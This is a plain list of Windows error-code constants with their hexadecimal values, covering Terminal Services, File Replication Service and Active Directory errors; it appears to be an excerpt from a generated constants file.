ERROR_CTX_BAD_VIDEO_MODE = 0x00001b71
ERROR_CTX_GRAPHICS_INVALID = 0x00001b7b
ERROR_CTX_LOGON_DISABLED = 0x00001b7d
ERROR_CTX_NOT_CONSOLE = 0x00001b7e
ERROR_CTX_CLIENT_QUERY_TIMEOUT = 0x00001b80
ERROR_CTX_CONSOLE_DISCONNECT = 0x00001b81
ERROR_CTX_CONSOLE_CONNECT = 0x00001b82
ERROR_CTX_SHADOW_DENIED = 0x00001b84
ERROR_CTX_WINSTATION_ACCESS_DENIED = 0x00001b85
ERROR_CTX_INVALID_WD = 0x00001b89
ERROR_CTX_SHADOW_INVALID = 0x00001b8a
ERROR_CTX_SHADOW_DISABLED = 0x00001b8b
ERROR_CTX_CLIENT_LICENSE_IN_USE = 0x00001b8c
ERROR_CTX_CLIENT_LICENSE_NOT_SET = 0x00001b8d
ERROR_CTX_LICENSE_NOT_AVAILABLE = 0x00001b8e
ERROR_CTX_LICENSE_CLIENT_INVALID = 0x00001b8f
ERROR_CTX_LICENSE_EXPIRED = 0x00001b90
ERROR_CTX_SHADOW_NOT_RUNNING = 0x00001b91
ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 0x00001b92
ERROR_ACTIVATION_COUNT_EXCEEDED = 0x00001b93
ERROR_CTX_WINSTATIONS_DISABLED = 0x00001b94
ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED = 0x00001b95
ERROR_CTX_SESSION_IN_USE = 0x00001b96
ERROR_CTX_NO_FORCE_LOGOFF = 0x00001b97
ERROR_CTX_ACCOUNT_RESTRICTION = 0x00001b98
ERROR_RDP_PROTOCOL_ERROR = 0x00001b99
ERROR_CTX_CDM_CONNECT = 0x00001b9a
ERROR_CTX_CDM_DISCONNECT = 0x00001b9b
ERROR_CTX_SECURITY_LAYER_ERROR = 0x00001b9c
ERROR_TS_INCOMPATIBLE_SESSIONS = 0x00001b9d
ERROR_TS_VIDEO_SUBSYSTEM_ERROR = 0x00001b9e
FRS_ERR_INVALID_API_SEQUENCE = 0x00001f41
FRS_ERR_STARTING_SERVICE = 0x00001f42
FRS_ERR_STOPPING_SERVICE = 0x00001f43
FRS_ERR_INTERNAL_API = 0x00001f44
FRS_ERR_INTERNAL = 0x00001f45
FRS_ERR_SERVICE_COMM = 0x00001f46
FRS_ERR_INSUFFICIENT_PRIV = 0x00001f47
FRS_ERR_AUTHENTICATION = 0x00001f48
FRS_ERR_PARENT_INSUFFICIENT_PRIV = 0x00001f49
FRS_ERR_PARENT_AUTHENTICATION = 0x00001f4a
FRS_ERR_CHILD_TO_PARENT_COMM = 0x00001f4b
FRS_ERR_PARENT_TO_CHILD_COMM = 0x00001f4c
FRS_ERR_SYSVOL_POPULATE = 0x00001f4d
FRS_ERR_SYSVOL_POPULATE_TIMEOUT = 0x00001f4e
FRS_ERR_SYSVOL_IS_BUSY = 0x00001f4f
FRS_ERR_SYSVOL_DEMOTE = 0x00001f50
FRS_ERR_INVALID_SERVICE_PARAMETER = 0x00001f51
ERROR_DS_NOT_INSTALLED = 0x00002008
ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 0x00002009
ERROR_DS_NO_ATTRIBUTE_OR_VALUE = 0x0000200a
ERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 0x0000200b
ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 0x0000200c
ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 0x0000200d
ERROR_DS_BUSY = 0x0000200e
ERROR_DS_UNAVAILABLE = 0x0000200f
ERROR_DS_NO_RIDS_ALLOCATED = 0x00002010
ERROR_DS_NO_MORE_RIDS = 0x00002011
ERROR_DS_INCORRECT_ROLE_OWNER = 0x00002012
ERROR_DS_RIDMGR_INIT_ERROR = 0x00002013
ERROR_DS_OBJ_CLASS_VIOLATION = 0x00002014
ERROR_DS_CANT_ON_NON_LEAF = 0x00002015
ERROR_DS_CANT_ON_RDN = 0x00002016
ERROR_DS_CANT_MOD_OBJ_CLASS = 0x00002017
ERROR_DS_CROSS_DOM_MOVE_ERROR = 0x00002018
ERROR_DS_GC_NOT_AVAILABLE = 0x00002019
ERROR_SHARED_POLICY = 0x0000201a
ERROR_POLICY_OBJECT_NOT_FOUND = 0x0000201b
ERROR_POLICY_ONLY_IN_DS = 0x0000201c
ERROR_PROMOTION_ACTIVE = 0x0000201d
ERROR_NO_PROMOTION_ACTIVE = 0x0000201e
ERROR_DS_OPERATIONS_ERROR = 0x00002020
ERROR_DS_PROTOCOL_ERROR = 0x00002021
ERROR_DS_TIMELIMIT_EXCEEDED = 0x00002022
ERROR_DS_SIZELIMIT_EXCEEDED = 0x00002023
ERROR_DS_ADMIN_LIMIT_EXCEEDED = 0x00002024
ERROR_DS_COMPARE_FALSE = 0x00002025
ERROR_DS_COMPARE_TRUE = 0x00002026
ERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 0x00002027
ERROR_DS_STRONG_AUTH_REQUIRED = 0x00002028
ERROR_DS_INAPPROPRIATE_AUTH = 0x00002029
ERROR_DS_AUTH_UNKNOWN = 0x0000202a
ERROR_DS_REFERRAL = 0x0000202b
ERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 0x0000202c
ERROR_DS_CONFIDENTIALITY_REQUIRED = 0x0000202d
ERROR_DS_INAPPROPRIATE_MATCHING = 0x0000202e
ERROR_DS_CONSTRAINT_VIOLATION = 0x0000202f
ERROR_DS_NO_SUCH_OBJECT = 0x00002030
ERROR_DS_ALIAS_PROBLEM = 0x00002031
ERROR_DS_INVALID_DN_SYNTAX = 0x00002032
ERROR_DS_IS_LEAF = 0x00002033
ERROR_DS_ALIAS_DEREF_PROBLEM = 0x00002034
ERROR_DS_UNWILLING_TO_PERFORM = 0x00002035
ERROR_DS_LOOP_DETECT = 0x00002036
ERROR_DS_NAMING_VIOLATION = 0x00002037
ERROR_DS_OBJECT_RESULTS_TOO_LARGE = 0x00002038
ERROR_DS_AFFECTS_MULTIPLE_DSAS = 0x00002039
ERROR_DS_SERVER_DOWN = 0x0000203a
ERROR_DS_LOCAL_ERROR = 0x0000203b
ERROR_DS_ENCODING_ERROR = 0x0000203c
ERROR_DS_DECODING_ERROR = 0x0000203d
ERROR_DS_FILTER_UNKNOWN = 0x0000203e
ERROR_DS_PARAM_ERROR = 0x0000203f
ERROR_DS_NOT_SUPPORTED = 0x00002040
ERROR_DS_NO_RESULTS_RETURNED = 0x00002041
ERROR_DS_CONTROL_NOT_FOUND = 0x00002042
ERROR_DS_CLIENT_LOOP = 0x00002043
ERROR_DS_REFERRAL_LIMIT_EXCEEDED = 0x00002044
ERROR_DS_SORT_CONTROL_MISSING = 0x00002045
ERROR_DS_OFFSET_RANGE_ERROR = 0x00002046
ERROR_DS_RIDMGR_DISABLED = 0x00002047
ERROR_DS_ROOT_MUST_BE_NC = 0x0000206d
ERROR_DS_ADD_REPLICA_INHIBITED = 0x0000206e
ERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 0x0000206f
ERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 0x00002070
ERROR_DS_OBJ_STRING_NAME_EXISTS = 0x00002071
ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 0x00002072
ERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 0x00002073
ERROR_DS_NO_REQUESTED_ATTS_FOUND = 0x00002074
ERROR_DS_USER_BUFFER_TO_SMALL = 0x00002075
ERROR_DS_ATT_IS_NOT_ON_OBJ = 0x00002076
ERROR_DS_ILLEGAL_MOD_OPERATION = 0x00002077
ERROR_DS_OBJ_TOO_LARGE = 0x00002078
ERROR_DS_BAD_INSTANCE_TYPE = 0x00002079
ERROR_DS_MASTERDSA_REQUIRED = 0x0000207a
ERROR_DS_OBJECT_CLASS_REQUIRED = 0x0000207b
ERROR_DS_MISSING_REQUIRED_ATT = 0x0000207c
ERROR_DS_ATT_NOT_DEF_FOR_CLASS = 0x0000207d
ERROR_DS_ATT_ALREADY_EXISTS = 0x0000207e
ERROR_DS_CANT_ADD_ATT_VALUES = 0x00002080
ERROR_DS_SINGLE_VALUE_CONSTRAINT = 0x00002081
ERROR_DS_RANGE_CONSTRAINT = 0x00002082
ERROR_DS_ATT_VAL_ALREADY_EXISTS = 0x00002083
ERROR_DS_CANT_REM_MISSING_ATT = 0x00002084
ERROR_DS_CANT_REM_MISSING_ATT_VAL = 0x00002085
ERROR_DS_ROOT_CANT_BE_SUBREF = 0x00002086
ERROR_DS_NO_CHAINING = 0x00002087
ERROR_DS_NO_CHAINED_EVAL = 0x00002088
ERROR_DS_NO_PARENT_OBJECT = 0x00002089
ERROR_DS_PARENT_IS_AN_ALIAS = 0x0000208a
ERROR_DS_CANT_MIX_MASTER_AND_REPS = 0x0000208b
ERROR_DS_CHILDREN_EXIST = 0x0000208c
ERROR_DS_OBJ_NOT_FOUND = 0x0000208d
ERROR_DS_ALIASED_OBJ_MISSING = 0x0000208e
ERROR_DS_BAD_NAME_SYNTAX = 0x0000208f
ERROR_DS_ALIAS_POINTS_TO_ALIAS = 0x00002090
ERROR_DS_CANT_DEREF_ALIAS = 0x00002091
ERROR_DS_OUT_OF_SCOPE = 0x00002092
ERROR_DS_OBJECT_BEING_REMOVED = 0x00002093
ERROR_DS_CANT_DELETE_DSA_OBJ = 0x00002094
ERROR_DS_GENERIC_ERROR = 0x00002095
ERROR_DS_DSA_MUST_BE_INT_MASTER = 0x00002096
ERROR_DS_CLASS_NOT_DSA = 0x00002097
ERROR_DS_INSUFF_ACCESS_RIGHTS = 0x00002098
ERROR_DS_ILLEGAL_SUPERIOR = 0x00002099
ERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 0x0000209a
ERROR_DS_NAME_TOO_MANY_PARTS = 0x0000209b
ERROR_DS_NAME_TOO_LONG = 0x0000209c
ERROR_DS_NAME_VALUE_TOO_LONG = 0x0000209d
ERROR_DS_NAME_UNPARSEABLE = 0x0000209e
ERROR_DS_NAME_TYPE_UNKNOWN = 0x0000209f
ERROR_DS_NOT_AN_OBJECT = 0x000020a0
ERROR_DS_SEC_DESC_TOO_SHORT = 0x000020a1
ERROR_DS_SEC_DESC_INVALID = 0x000020a2
ERROR_DS_NO_DELETED_NAME = 0x000020a3
ERROR_DS_SUBREF_MUST_HAVE_PARENT = 0x000020a4
ERROR_DS_NCNAME_MUST_BE_NC = 0x000020a5
ERROR_DS_CANT_ADD_SYSTEM_ONLY = 0x000020a6
ERROR_DS_CLASS_MUST_BE_CONCRETE = 0x000020a7
ERROR_DS_INVALID_DMD = 0x000020a8
ERROR_DS_OBJ_GUID_EXISTS = 0x000020a9
ERROR_DS_NOT_ON_BACKLINK = 0x000020aa
ERROR_DS_NO_CROSSREF_FOR_NC = 0x000020ab
ERROR_DS_SHUTTING_DOWN = 0x000020ac
ERROR_DS_UNKNOWN_OPERATION = 0x000020ad
ERROR_DS_INVALID_ROLE_OWNER = 0x000020ae
ERROR_DS_COULDNT_CONTACT_FSMO = 0x000020af
ERROR_DS_CROSS_NC_DN_RENAME = 0x000020b0
ERROR_DS_CANT_MOD_SYSTEM_ONLY = 0x000020b1
ERROR_DS_REPLICATOR_ONLY = 0x000020b2
ERROR_DS_OBJ_CLASS_NOT_DEFINED = 0x000020b3
ERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 0x000020b4
ERROR_DS_NAME_REFERENCE_INVALID = 0x000020b5
ERROR_DS_CROSS_REF_EXISTS = 0x000020b6
ERROR_DS_CANT_DEL_MASTER_CROSSREF = 0x000020b7
ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 0x000020b8
ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 0x000020b9
ERROR_DS_DUP_RDN = 0x000020ba
ERROR_DS_DUP_OID = 0x000020bb
ERROR_DS_DUP_MAPI_ID = 0x000020bc
ERROR_DS_DUP_SCHEMA_ID_GUID = 0x000020bd
ERROR_DS_DUP_LDAP_DISPLAY_NAME = 0x000020be
ERROR_DS_SEMANTIC_ATT_TEST = 0x000020bf
ERROR_DS_SYNTAX_MISMATCH = 0x000020c0
ERROR_DS_EXISTS_IN_MUST_HAVE = 0x000020c1
ERROR_DS_EXISTS_IN_MAY_HAVE = 0x000020c2
ERROR_DS_NONEXISTENT_MAY_HAVE = 0x000020c3
ERROR_DS_NONEXISTENT_MUST_HAVE = 0x000020c4
ERROR_DS_AUX_CLS_TEST_FAIL = 0x000020c5
ERROR_DS_NONEXISTENT_POSS_SUP = 0x000020c6
ERROR_DS_SUB_CLS_TEST_FAIL = 0x000020c7
ERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 0x000020c8
ERROR_DS_EXISTS_IN_AUX_CLS = 0x000020c9
ERROR_DS_EXISTS_IN_SUB_CLS = 0x000020ca
ERROR_DS_EXISTS_IN_POSS_SUP = 0x000020cb
ERROR_DS_RECALCSCHEMA_FAILED = 0x000020cc
ERROR_DS_TREE_DELETE_NOT_FINISHED = 0x000020cd
ERROR_DS_CANT_DELETE = 0x000020ce
ERROR_DS_ATT_SCHEMA_REQ_ID = 0x000020cf
ERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 0x000020d0
ERROR_DS_CANT_CACHE_ATT = 0x000020d1
ERROR_DS_CANT_CACHE_CLASS = 0x000020d2
ERROR_DS_CANT_REMOVE_ATT_CACHE = 0x000020d3
ERROR_DS_CANT_REMOVE_CLASS_CACHE = 0x000020d4
ERROR_DS_CANT_RETRIEVE_DN = 0x000020d5
ERROR_DS_MISSING_SUPREF = 0x000020d6
ERROR_DS_CANT_RETRIEVE_INSTANCE = 0x000020d7
ERROR_DS_CODE_INCONSISTENCY = 0x000020d8
ERROR_DS_DATABASE_ERROR = 0x000020d9
ERROR_DS_GOVERNSID_MISSING = 0x000020da
ERROR_DS_MISSING_EXPECTED_ATT = 0x000020db
ERROR_DS_NCNAME_MISSING_CR_REF = 0x000020dc
ERROR_DS_SECURITY_CHECKING_ERROR = 0x000020dd
ERROR_DS_SCHEMA_NOT_LOADED = 0x000020de
ERROR_DS_SCHEMA_ALLOC_FAILED = 0x000020df
ERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 0x000020e0
ERROR_DS_GCVERIFY_ERROR = 0x000020e1
ERROR_DS_DRA_SCHEMA_MISMATCH = 0x000020e2
ERROR_DS_CANT_FIND_DSA_OBJ = 0x000020e3
ERROR_DS_CANT_FIND_EXPECTED_NC = 0x000020e4
ERROR_DS_CANT_FIND_NC_IN_CACHE = 0x000020e5
ERROR_DS_CANT_RETRIEVE_CHILD = 0x000020e6
ERROR_DS_SECURITY_ILLEGAL_MODIFY = 0x000020e7
ERROR_DS_CANT_REPLACE_HIDDEN_REC = 0x000020e8
ERROR_DS_BAD_HIERARCHY_FILE = 0x000020e9
ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 0x000020ea
ERROR_DS_CONFIG_PARAM_MISSING = 0x000020eb
ERROR_DS_COUNTING_AB_INDICES_FAILED = 0x000020ec
ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 0x000020ed
ERROR_DS_INTERNAL_FAILURE = 0x000020ee
ERROR_DS_UNKNOWN_ERROR = 0x000020ef
ERROR_DS_ROOT_REQUIRES_CLASS_TOP = 0x000020f0
ERROR_DS_REFUSING_FSMO_ROLES = 0x000020f1
ERROR_DS_MISSING_FSMO_SETTINGS = 0x000020f2
ERROR_DS_UNABLE_TO_SURRENDER_ROLES = 0x000020f3
ERROR_DS_DRA_GENERIC = 0x000020f4
ERROR_DS_DRA_INVALID_PARAMETER = 0x000020f5
ERROR_DS_DRA_BUSY = 0x000020f6
ERROR_DS_DRA_BAD_DN = 0x000020f7
ERROR_DS_DRA_BAD_NC = 0x000020f8
ERROR_DS_DRA_DN_EXISTS = 0x000020f9
ERROR_DS_DRA_INTERNAL_ERROR = 0x000020fa
ERROR_DS_DRA_INCONSISTENT_DIT = 0x000020fb
ERROR_DS_DRA_CONNECTION_FAILED = 0x000020fc
ERROR_DS_DRA_BAD_INSTANCE_TYPE = 0x000020fd
ERROR_DS_DRA_OUT_OF_MEM = 0x000020fe
ERROR_DS_DRA_MAIL_PROBLEM = 0x000020ff
ERROR_DS_DRA_REF_ALREADY_EXISTS = 0x00002100
ERROR_DS_DRA_REF_NOT_FOUND = 0x00002101
ERROR_DS_DRA_OBJ_IS_REP_SOURCE = 0x00002102
ERROR_DS_DRA_DB_ERROR = 0x00002103
ERROR_DS_DRA_NO_REPLICA = 0x00002104
ERROR_DS_DRA_ACCESS_DENIED = 0x00002105
ERROR_DS_DRA_NOT_SUPPORTED = 0x00002106
ERROR_DS_DRA_RPC_CANCELLED = 0x00002107
ERROR_DS_DRA_SOURCE_DISABLED = 0x00002108
ERROR_DS_DRA_SINK_DISABLED = 0x00002109
ERROR_DS_DRA_NAME_COLLISION = 0x0000210a
ERROR_DS_DRA_SOURCE_REINSTALLED = 0x0000210b
ERROR_DS_DRA_MISSING_PARENT = 0x0000210c
ERROR_DS_DRA_PREEMPTED = 0x0000210d
ERROR_DS_DRA_ABANDON_SYNC = 0x0000210e
ERROR_DS_DRA_SHUTDOWN = 0x0000210f
ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 0x00002110
ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 0x00002111
ERROR_DS_DRA_EXTN_CONNECTION_FAILED = 0x00002112
ERROR_DS_INSTALL_SCHEMA_MISMATCH = 0x00002113
ERROR_DS_DUP_LINK_ID = 0x00002114
ERROR_DS_NAME_ERROR_RESOLVING = 0x00002115
ERROR_DS_NAME_ERROR_NOT_FOUND = 0x00002116
ERROR_DS_NAME_ERROR_NOT_UNIQUE = 0x00002117
ERROR_DS_NAME_ERROR_NO_MAPPING = 0x00002118
ERROR_DS_NAME_ERROR_DOMAIN_ONLY = 0x00002119
ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 0x0000211a
ERROR_DS_CONSTRUCTED_ATT_MOD = 0x0000211b
ERROR_DS_WRONG_OM_OBJ_CLASS = 0x0000211c
ERROR_DS_DRA_REPL_PENDING = 0x0000211d
ERROR_DS_DS_REQUIRED = 0x0000211e
ERROR_DS_INVALID_LDAP_DISPLAY_NAME = 0x0000211f
ERROR_DS_NON_BASE_SEARCH = 0x00002120
ERROR_DS_CANT_RETRIEVE_ATTS = 0x00002121
ERROR_DS_BACKLINK_WITHOUT_LINK = 0x00002122
ERROR_DS_EPOCH_MISMATCH = 0x00002123
ERROR_DS_SRC_NAME_MISMATCH = 0x00002124
ERROR_DS_SRC_AND_DST_NC_IDENTICAL = 0x00002125
ERROR_DS_DST_NC_MISMATCH = 0x00002126
ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 0x00002127
ERROR_DS_SRC_GUID_MISMATCH = 0x00002128
ERROR_DS_CANT_MOVE_DELETED_OBJECT = 0x00002129
ERROR_DS_PDC_OPERATION_IN_PROGRESS = 0x0000212a
ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 0x0000212b
ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 0x0000212c
ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 0x0000212d
ERROR_DS_NC_MUST_HAVE_NC_PARENT = 0x0000212e
ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 0x0000212f
ERROR_DS_DST_DOMAIN_NOT_NATIVE = 0x00002130
ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 0x00002131
ERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 0x00002132
ERROR_DS_CANT_MOVE_RESOURCE_GROUP = 0x00002133
ERROR_DS_INVALID_SEARCH_FLAG = 0x00002134
ERROR_DS_NO_TREE_DELETE_ABOVE_NC = 0x00002135
ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 0x00002136
ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 0x00002137
ERROR_DS_SAM_INIT_FAILURE = 0x00002138
ERROR_DS_SENSITIVE_GROUP_VIOLATION = 0x00002139
ERROR_DS_CANT_MOD_PRIMARYGROUPID = 0x0000213a
ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 0x0000213b
ERROR_DS_NONSAFE_SCHEMA_CHANGE = 0x0000213c
ERROR_DS_SCHEMA_UPDATE_DISALLOWED = 0x0000213d
ERROR_DS_CANT_CREATE_UNDER_SCHEMA = 0x0000213e
ERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 0x0000213f
ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 0x00002140
ERROR_DS_INVALID_GROUP_TYPE = 0x00002141
ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 0x00002142
ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 0x00002143
ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 0x00002144
ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 0x00002145
ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 0x00002146
ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 0x00002147
ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 0x00002148
ERROR_DS_HAVE_PRIMARY_MEMBERS = 0x00002149
ERROR_DS_STRING_SD_CONVERSION_FAILED = 0x0000214a
ERROR_DS_NAMING_MASTER_GC = 0x0000214b
ERROR_DS_DNS_LOOKUP_FAILURE = 0x0000214c
ERROR_DS_COULDNT_UPDATE_SPNS = 0x0000214d
ERROR_DS_CANT_RETRIEVE_SD = 0x0000214e
ERROR_DS_KEY_NOT_UNIQUE = 0x0000214f
ERROR_DS_WRONG_LINKED_ATT_SYNTAX = 0x00002150
ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 0x00002151
ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 0x00002152
ERROR_DS_CANT_START = 0x00002153
ERROR_DS_INIT_FAILURE = 0x00002154
ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 0x00002155
ERROR_DS_SOURCE_DOMAIN_IN_FOREST = 0x00002156
ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 0x00002157
ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 0x00002158
ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 0x00002159
ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 0x0000215a
ERROR_DS_SRC_SID_EXISTS_IN_FOREST = 0x0000215b
ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 0x0000215c
ERROR_SAM_INIT_FAILURE = 0x0000215d
ERROR_DS_DRA_SCHEMA_INFO_SHIP = 0x0000215e
ERROR_DS_DRA_SCHEMA_CONFLICT = 0x0000215f
ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 0x00002160
ERROR_DS_DRA_OBJ_NC_MISMATCH = 0x00002161
ERROR_DS_NC_STILL_HAS_DSAS = 0x00002162
ERROR_DS_GC_REQUIRED = 0x00002163
ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 0x00002164
ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 0x00002165
ERROR_DS_CANT_ADD_TO_GC = 0x00002166
ERROR_DS_NO_CHECKPOINT_WITH_PDC = 0x00002167
ERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 0x00002168
ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 0x00002169
ERROR_DS_INVALID_NAME_FOR_SPN = 0x0000216a
ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 0x0000216b
ERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 0x0000216c
ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 0x0000216d
ERROR_DS_MUST_BE_RUN_ON_DST_DC = 0x0000216e
ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 0x0000216f
ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 0x00002170
ERROR_DS_INIT_FAILURE_CONSOLE = 0x00002171
ERROR_DS_SAM_INIT_FAILURE_CONSOLE = 0x00002172
ERROR_DS_FOREST_VERSION_TOO_HIGH = 0x00002173
ERROR_DS_DOMAIN_VERSION_TOO_HIGH = 0x00002174
ERROR_DS_FOREST_VERSION_TOO_LOW = 0x00002175
ERROR_DS_DOMAIN_VERSION_TOO_LOW = 0x00002176
ERROR_DS_INCOMPATIBLE_VERSION = 0x00002177
ERROR_DS_LOW_DSA_VERSION = 0x00002178
ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 0x00002179
ERROR_DS_NOT_SUPPORTED_SORT_ORDER = 0x0000217a
ERROR_DS_NAME_NOT_UNIQUE = 0x0000217b
ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 0x0000217c
ERROR_DS_OUT_OF_VERSION_STORE = 0x0000217d
ERROR_DS_INCOMPATIBLE_CONTROLS_USED = 0x0000217e
ERROR_DS_NO_REF_DOMAIN = 0x0000217f
ERROR_DS_RESERVED_LINK_ID = 0x00002180
ERROR_DS_LINK_ID_NOT_AVAILABLE = 0x00002181
ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 0x00002182
ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 0x00002183
ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 0x00002184
ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 0x00002185
ERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 0x00002186
ERROR_DS_NAME_ERROR_TRUST_REFERRAL = 0x00002187
ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 0x00002188
ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 0x00002189
ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 0x0000218a
ERROR_DS_THREAD_LIMIT_EXCEEDED = 0x0000218b
ERROR_DS_NOT_CLOSEST = 0x0000218c
ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 0x0000218d
ERROR_DS_SINGLE_USER_MODE_FAILED = 0x0000218e
ERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 0x0000218f
ERROR_DS_NTDSCRIPT_PROCESS_ERROR = 0x00002190
ERROR_DS_DIFFERENT_REPL_EPOCHS = 0x00002191
ERROR_DS_DRS_EXTENSIONS_CHANGED = 0x00002192
ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 0x00002193
ERROR_DS_NO_MSDS_INTID = 0x00002194
ERROR_DS_DUP_MSDS_INTID = 0x00002195
ERROR_DS_EXISTS_IN_RDNATTID = 0x00002196
ERROR_DS_AUTHORIZATION_FAILED = 0x00002197
ERROR_DS_INVALID_SCRIPT = 0x00002198
ERROR_DS_REMOTE_CROSSREF_OP_FAILED = 0x00002199
ERROR_DS_CROSS_REF_BUSY = 0x0000219a
ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 0x0000219b
ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 0x0000219c
ERROR_DS_DUPLICATE_ID_FOUND = 0x0000219d
ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 0x0000219e
ERROR_DS_GROUP_CONVERSION_ERROR = 0x0000219f
ERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 0x000021a0
ERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 0x000021a1
ERROR_DS_ROLE_NOT_VERIFIED = 0x000021a2
ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 0x000021a3
ERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 0x000021a4
ERROR_DS_EXISTING_AD_CHILD_NC = 0x000021a5
ERROR_DS_REPL_LIFETIME_EXCEEDED = 0x000021a6
ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 0x000021a7
ERROR_DS_LDAP_SEND_QUEUE_FULL = 0x000021a8
ERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 0x000021a9
ERROR_DS_POLICY_NOT_KNOWN = 0x000021aa
ERROR_NO_SITE_SETTINGS_OBJECT = 0x000021ab
ERROR_NO_SECRETS = 0x000021ac
ERROR_NO_WRITABLE_DC_FOUND = 0x000021ad
ERROR_DS_NO_SERVER_OBJECT = 0x000021ae
ERROR_DS_NO_NTDSA_OBJECT = 0x000021af
ERROR_DS_NON_ASQ_SEARCH = 0x000021b0
ERROR_DS_AUDIT_FAILURE = 0x000021b1
ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE = 0x000021b2
ERROR_DS_INVALID_SEARCH_FLAG_TUPLE = 0x000021b3
ERROR_DS_HIERARCHY_TABLE_TOO_DEEP = 0x000021b4
ERROR_DS_DRA_CORRUPT_UTD_VECTOR = 0x000021b5
ERROR_DS_DRA_SECRETS_DENIED = 0x000021b6
ERROR_DS_RESERVED_MAPI_ID = 0x000021b7
ERROR_DS_MAPI_ID_NOT_AVAILABLE = 0x000021b8
ERROR_DS_DRA_MISSING_KRBTGT_SECRET = 0x000021b9
ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST = 0x000021ba
ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST = 0x000021bb
ERROR_INVALID_USER_PRINCIPAL_NAME = 0x000021bc
ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS = 0x000021bd
ERROR_DS_OID_NOT_FOUND = 0x000021be
ERROR_DS_DRA_RECYCLED_TARGET = 0x000021bf
ERROR_DS_DISALLOWED_NC_REDIRECT = 0x000021c0
